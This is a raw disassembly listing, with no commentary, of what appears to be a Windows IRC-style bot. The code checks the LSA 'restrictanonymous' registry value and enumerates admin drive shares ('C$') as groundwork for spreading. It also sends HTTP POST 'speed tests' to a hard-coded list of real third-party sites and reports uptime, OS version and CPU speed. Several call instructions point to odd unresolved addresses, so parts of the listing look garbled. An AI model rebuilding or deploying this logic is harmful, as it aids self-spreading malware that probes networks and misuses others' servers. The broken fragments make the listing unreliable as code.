loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		nop
		call	near ptr 2831D1Bh
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0D63h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E0605h
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2690579h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E0605h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 273143Ch
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
